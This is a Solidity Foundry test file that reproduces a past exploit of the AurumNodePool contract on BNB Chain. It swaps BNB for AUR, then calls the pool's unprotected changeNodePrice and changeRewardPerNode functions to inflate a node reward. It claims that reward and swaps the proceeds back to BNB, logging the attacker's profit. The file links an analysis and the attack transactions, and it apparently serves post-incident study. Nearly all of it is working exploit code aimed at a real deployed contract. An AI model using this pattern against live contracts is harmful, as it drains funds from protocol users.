AUR_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";


// @Analysis
// https://twitter.com/AnciliaInc/status/1595142246570958848
// @TX
// https://phalcon.blocksec.com/tx/bsc/0xb3bc6ca257387eae1cea3b997eb489c1a9c208d09ec4d117198029277468e25d
// https://phalcon.blocksec.com/tx/bsc/0x7f031e8543e75bd5c85168558be89d2e08b7c02a32d07d76517cdbb10e279782
interface IAurumNodePool {
    struct NodeEntity {
        uint256 nodeId;
        uint256 creationTime;
        uint256 lastClaimTime; 
    }

    function createNode(uint256 count) external;
    function changeNodePrice(uint256 newNodePrice) external;
    function changeRewardPerNode(uint256 _rewardPerDay) external;
    function claimNodeReward(uint256 _creationTime) external;

    function getRewardAmountOf(address account, uint256 creationTime) external view returns (uint256);
    function getNodes(address account) external view returns(NodeEntity[] memory nodes);
}

contract ContractTest is DSTest{
    IERC20 AUR = IERC20(0x73A1163EA930A0a67dFEFB9C3713Ef0923755B78);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);

    IAurumNodePool AurumNodePool = IAurumNodePool(0x70678291bDDfd95498d1214BE368e19e882f7614);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 23282134);
        cheats.deal(address(this), 0.01 ether);
    }

    function testExploit() public {
        AUR.approve(address(AurumNodePool), type(uint).max);
        AUR.approve(address(Router), type(uint).max);

        emit log_named_decimal_uint(
            "[Start] Attacker BNB balance before exploit",
            address(this).balance,
            18
        );

        BNBtoAUR(0.01 ether);

        AurumNodePool.changeNodePrice(1000000000000000000000);
        AurumNodePool.createNode(1);

        IAurumNodePool.NodeEntity[] memory nodes = AurumNodePool.getNodes(address(this));

        cheats.roll(23282171);
        cheats.warp(1669141486);

        AurumNodePool.changeRewardPerNode(434159898144856792986061626032);

        emit log_named_uint(
            "AurumNodePool Attacker reward:",
            AurumNodePool.getRewardAmountOf(address(this), nodes[0].creationTime)
        );

        require(block.timestamp > nodes[0].lastClaimTime);

        AurumNodePool.claimNodeReward(nodes[0].creationTime);

        AURtoBNB();

        emit log_named_decimal_uint(
            "[End] Attacker BNB balance after exploit",
            address(this).balance,
            18
        );
    }

    function BNBtoAUR(uint amount) internal {
        address [] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(AUR);
        Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0,
            path,
            address(this),
            block.timestamp + 60
        );
    }

    function AURtoBNB() internal {
        address [] memory path = new address[](2);
        path[0] = address(AUR);
        path[1] = address(WBNB);
        Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            AUR.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp + 60
        );
    }

    fallback() external payable{

    }
}